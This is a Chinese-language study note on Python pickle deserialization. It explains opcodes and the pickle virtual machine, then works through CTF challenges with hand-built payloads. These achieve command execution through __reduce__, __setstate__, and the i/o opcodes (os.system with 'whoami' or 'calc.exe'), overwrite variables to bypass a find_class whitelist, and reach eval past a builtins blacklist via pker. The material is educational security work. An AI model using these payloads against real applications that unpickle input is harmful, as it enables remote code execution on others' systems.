python反序列化學習記錄

pickle與序列化和反序列化

官方文檔

模塊 pickle 實現了對一個 Python 對象結構的二進制序列化和反序列化。 "pickling" 是將 Python 對象及其所擁有的層次結構轉化為一個字節流的過程，而 "unpickling" 是相反的操作，會將（來自一個 binary file 或者 bytes-like object 的）字節流轉化回一個對象層次結構。 pickling（和 unpickling）也被稱為“序列化”, “編組” 或者 “平面化”。而為了避免混亂，此處采用術語 “封存 (pickling)” 和 “解封 (unpickling)”。

• pickle.dumps(object)：用於序列化一個對象

• pickle.loads(picklestring)：用於反序列化數據，實現一個對象的構建

測試代碼：

#python3.7
import pickle

class test_1():
    def __init__(self):
        self.name = 'LH'
        self.age = 20

class test_2():
    name = 'LH'
    age = 20

test1 = test_1()
a_1 = pickle.dumps(test1)

test2 = test_2()
a_2 = pickle.dumps(test2)

print("test_1序列化結果：")
print(a_1)
print("test_2序列化結果：")
print(a_2)

b_1 = pickle.loads(a_1)
b_2 = pickle.loads(a_2)

print("test_1反序列化結果：")
print(b_1.name)
print(b_1.age)

print("test_2反序列化結果：")
print(b_2.name)
print(b_2.age)

運行結果：

可以看到序列化結果長短不同，這是因為待處理的類里面有無__init__造成的，test_2類沒有使用__init__所以序列化結果並沒有涉及到name和age。但是反序列化之后仍然可以得到對應的屬性值。

另外：如果在反序列化生成一個對象以前刪除了這個對象對應的類，那么我們在反序列化的過程中因為對象在當前的運行環境中沒有找到這個類就會報錯，從而反序列化失敗。

__reduce__()

類似於PHP中的__wakeup__魔法函數。如果當__reduce__返回值為一個元組(2到5個參數)，第一個參數是可調用(callable)的對象，第二個是該對象所需的參數元組。在這種情況下，反序列化時會自動執行__reduce__里面的操作。

測試代碼：

#python3.7
import os
import pickle

class A():
    def __reduce__(self):
        cmd = "whoami"
        return (os.system,(cmd,))

a=A()
str=pickle.dumps(a)

pickle.loads(str)

運行結果：

現在把關注點放在序列化數據，以及如何根據序列化數據實現反序列化。

指定protocol

pickle.dumps(object)在生成序列化數據時可以指定protocol參數，其取值包括：

• 當protocol=0時，序列化之后的數據流是可讀的（ASCII碼）
• 當protocol=3時，為python3的默認protocol值，序列化之后的數據流是hex碼

更改代碼：

#python3.7
import os
import pickle

class A():
    def __reduce__(self):
        cmd = "whoami"
        return (os.system,(cmd,))

a=A()
str=pickle.dumps(a,protocol=0)

print(str)
print(str.decode())   #將byte類型轉化為string類型

運行結果：

不了解pickle的相關指令的話，以上序列化結果根本看不懂：

pickle相關的指令碼與作用：

這里注意到R操作碼，執行了可調用對象，可知它其實就是__reduce__()的底層實現。

其他指令可以在python的lib文件下的pickle.py查看：

對運行結果分解：

涉及到指令碼，可以把pickle理解成一門棧語言：

• pickle解析依靠Pickle Virtual Machine (PVM)進行。
• PVM涉及到三個部分：1. 解析引擎 2. 棧 3. 內存：
  • 解析引擎：從流中讀取指令碼和參數，並對其進行解釋處理。重復這個動作，直到遇到 . 停止。最終留在棧頂的值將被作為反序列化對象返回
  • 棧：由Python的list實現，被用來臨時存儲數據、參數以及對象
  • memo列表：由Python的dict實現，為PVM的生命周期提供存儲數據的作用，以便后來的使用

結合上面的指令碼與作用，可以分析出具體的過程。

具體過程

首先是：

cnt
system

也即引入nt.system，這里的nt是模塊os的名稱name，os.name在不同環境對應的值不同：

Windows下為nt：

Linux下為posix：

posix是 Portable Operating System Interface of UNIX（可移植操作系統接口）的縮寫。Linux 和 Mac OS 均會返回該值。

然后再執行p0，將棧頂內容寫入到列表中，由於是列表第一個數據因此索引為0：

接下去執行(Vwhoami，(是將一個標志位MASK壓入棧中，Vwhoami就是將字符串“whoami”壓入棧中：

接下去執行p1，將棧頂數據"whoami"寫入列表，索引為1：

再執行tp2，首先棧彈出從棧頂到MASK標志位的數據，將其轉化為元組類型，然后再壓入棧。最后p2將棧頂數據（也即元組）寫入列表，索引為2：

再執行Rp3，先將之前壓入棧中的元組和可調用對象全部彈出然后執行，這里也即執行nt.system("whoami")，接着將結果壓入棧。最后p3將棧頂數據（也即執行結果）寫入列表，索引為3：

總的過程如下：

由於memo列表只是起到一個存儲數據的作用，如果目的只是想要執行nt.system("whoami")，可以將原序列化數據中有關寫入列表的操作給去除。也即原b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'可簡化為b'cnt\nsystem\n(Vwhoami\ntR.'，仍然是可以達到執行目的的：

pickletools模塊

官方說明：

此模塊包含與 pickle 模塊內部細節有關的多個常量，一些關於具體實現的詳細注釋，以及一些能夠分析封存數據的有用函數。 此模塊的內容對需要操作 pickle 的 Python 核心開發者來說很有用處；pickle 的一般用戶則可能會感覺 pickletools 模塊與他們無關。

相關接口：

• pickletools.dis(picklestring)：

  可以更方便的看到每一步的操作原理。如上面的例子執行該方法：

• pickletools.optimize(picklestring)：
  消除未使用的 PUT 操作碼之后返回一個新的等效 pickle 字符串。 優化后的 pickle 將更為簡短，耗費更為的傳輸時間，要求更少的存儲空間並能更高效地解封。也即上面分析能夠經過簡化的過程：

測試代碼：

#python3.7
import pickle
import pickle
import pickletools


class person():
    def __init__(self, name, age):
        self.name = name
        self.age = age


me = person('LH', 20)
str = pickle.dumps(me)
print(str)

pickletools.dis(str)

運行結果：

b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ person'
   19: q    BINPUT     0
   21: )    EMPTY_TUPLE
   22: \x81 NEWOBJ
   23: q    BINPUT     1
   25: }    EMPTY_DICT
   26: q    BINPUT     2
   28: (    MARK
   29: X        BINUNICODE 'name'
   38: q        BINPUT     3
   40: X        BINUNICODE 'LH'
   47: q        BINPUT     4
   49: X        BINUNICODE 'age'
   57: q        BINPUT     5
   59: K        BININT1    20
   61: u        SETITEMS   (MARK at 28)
   62: b    BUILD
   63: .    STOP
highest protocol among opcodes = 2

對str使用pickle.optimize進行簡化：

>>>str=b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'

>>>pickletools.optimize(str)

>>>b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00LHX\x03\x00\x00\x00ageK\x14ub.'

應用

修改剛才源碼：

#python3.7
import base64
import pickle
import otherpeople

class person():
    def __init__(self, name, age):
        self.name = name
        self.age = age

me=pickle.loads(base64.b64decode(input()))

if otherpeople.name==me.name and otherpeople.age==me.age:
    print("flag")
else:
    print("hack")

同目錄下新建otherpeople文件夾，寫入__init.py__用於新建一個模板：

name = 'Dr.liu'
age = 21

要求我們輸入待反序列化的數據，使得反序列化之后為person類的一個對象me，如果me.name與me.age分別等於otherpeople模板的name和age，才能得到flag。如果把剛才的序列化數據中的LH和20改成模板中的Dr.liu和21則能實現：

第二個hex碼對應是字符串的長度，十六進制的14對應為十進制20

但是此時我們並不知道otherpeople模板的內容，所以並不能實現。

根據前面的例子可知，引用模塊在pickle中對應的操作碼是c，所以可以根據其書寫規則得到otherpeople.name和otherpeople.age對應的序列化數據是cotherpeople\nname\n和cotherpeople\nage\n，將原數據進行替換：

再對替換的結果進行base64編碼：

>>>import base64

>>>base64.b64encode(b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00namecotherpeople\nname\nX\x03\x00\x00\x00agecotherpeople\nage\nub.')

>>>b'gANjX19tYWluX18KcGVyc29uCimBfShYBAAAAG5hbWVjb3RoZXJwZW9wbGUKbmFtZQpYAwAAAGFnZWNvdGhlcnBlb3BsZQphZ2UKdWIu'

驗證：

限制module

pickle源碼中，c指令是基於find_class這個方法實現的，然而find_class可以被出題人重寫。如果出題人只允許c指令包含__main__這一個module、不允許導入其他module，也即剛才的cotherpeople被限制了。此時又該如何繞過呢？

回到剛才的測試代碼的運行結果，發現pickle是構建person的過程是完全可視的，而且是在__main__這個module進行構建的：

那么就可以根據pickle語法，插入一段數據，這段數據用於在__main__中構建一個otherpeople對象，此時otherpeople.name和otherpeople.age也是可控的，這樣我們就可以覆蓋掉原本未知的Dr.liu和21，只需確保和person.name和person.age相等即可。

先放出示意圖：

解釋一下惡意插入的序列化數據：

b'c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0'

1、首先類比構建person對象時的語法：c__main__\notherpeople\n}

2、接下去(操作碼表示將壓入一個元組到棧中，V操作碼表示跟在它后面的數據是一個字符串，K操作碼表示跟在它后面的數據是一個整型數字，Vname\nVsunxiaokong\nVage\nK\x16表示的元組為：{'name':'sunxiaokong','age':22}

3、然后u操作碼規定了即將構建的對象的界限，b操作碼用於構造對象

4、0操作碼將該對象（棧頂元素）從棧彈出

經過上面的操作此時otherpeople.name='sunxiaokong'、otherpeople.age=22，因此后半段person中相應的屬性也應該改成相同的值：

X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16

驗證：

>>>base64.b64encode(b'\x80\x03c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16ub.')

b'gANjX19tYWluX18Kb3RoZXJwZW9wbGUKfShWbmFtZQpWc3VueGlhb2tvbmcKVmFnZQpLFnViMGNfX21haW5fXwpwZXJzb24KKYF9KFgEAAAAbmFtZVgLAAAAc3VueGlhb2tvbmdYAwAAAGFnZUsWdWIu'

以上思路也是“2020高校戰疫”webtmp的解題思路

限制__reduce()__

如果限制__reduce()__，需要另外一個知識點：

關注操作碼b：

跟進到load_build函數：

    def load_build(self):
        stack = self.stack
        state = stack.pop()
        inst = stack[-1]
        setstate = getattr(inst, "__setstate__", None)   #獲取inst的__setstate__方法
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

把當前棧棧頂數據記為state，然后彈出，再把接下去的棧頂數據記為inst

關注到第七行的setstate(state)，這意味着可以RCE，但是inst原先是沒有__setstate__這個方法的。可以利用{‘__setstate__’: os.system}來BUILD這個對象，那么現在inst的__setstate__方法就變成了os.system；另外再確保state也即一開始的棧頂元素為calc.exe，則會執行setstate(“calc.exe”) ，也即os.system("calc.exe")。

上面的操作對應的payload如下：

b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'

驗證代碼：

import os
import pickle
import pickletools

class A():
    #balabala·····

str=b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'
pickle.loads(str)

除了操作碼b可以利用外，還有i和o操作碼可以實現RCE：

b'(S\'whoami\'\nios\nsystem\n.'
b'(cos\nsystem\nS\'whoami\'\no.'

payload的構造可以參照對應的作用：

工具pker

Github地址

借助該工具，可以省去人工構造payload，根據自己的相關需求可以自動生成相應的序列化數據。

pker主要用到GLOBAL、INST、OBJ三種特殊的函數以及一些必要的轉換方式：

• GLOBAL ：用來獲取module下的一個全局對象，對應操作碼c ，如GLOBAL('os', 'system')
• INST ：建立並入棧一個對象(可以執行一個函數),對應操作碼i ，如INST('os','system','ls') ，輸入規則按照：module,callable,para
• OBJ ：建立並入棧一個對象（傳入的第一個參數為callable，可以執行一個函數），對應操作碼o。 如OBJ(GLOBAL('os','system'),'ls') ，輸入規則按照：callable,para
• xxx(xx,...)： 使用參數xx調用函數xxx，對應操作碼R
• li[0]=321或globals_dic['local_var']='hello' ：更新列表或字典的某項的值，對應操作碼s
• xx.attr=123：對xx對象進行屬性設置，對應操作碼b
• return ：出棧，對應操作碼0

使用例子:

1、用於執行os.system("whoami")：

s='whoami'
system = GLOBAL('os', 'system')
system(s)    # b'R'調用 return

2、全局變量覆蓋舉例：

secret=GLOBAL('__main__', 'secret') 
secret.name='1'
secret.category='2'

以剛剛上面那道只允許引入__main__模塊的變量覆蓋為例，對應的pker代碼：

otherpeople = GLOBAL('__main__','otherpeople')
otherpeople.name = 'sunxiaokong'
otherpeople.age = 22
new = INST('__main__', 'person','sunxiaokong',20)
return new

Code-Breaking picklecode

import pickle
import base64
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)

        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

restricted_loads(base64.b64decode(input()))

代碼的主要內容就是限制了反序列化的內容，規定了我們只能引用builtins這個模塊，而且禁止了里面的一些函數。但是沒有禁止getattr這個方法，因此我們可以構造builtins.getattr(builtins,’eval’)的方法來構造eval函數。pickle不能直接獲取builtins一級模塊，但可以通過builtins.globals()獲得builtins；這樣就可以執行任意代碼了。

用pker構造payload：

#先借助builtins.globals獲取builtins模塊
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')

#再用builtins模塊獲取eval函數
eval=getattr(builtins,'eval')
eval('ls')
return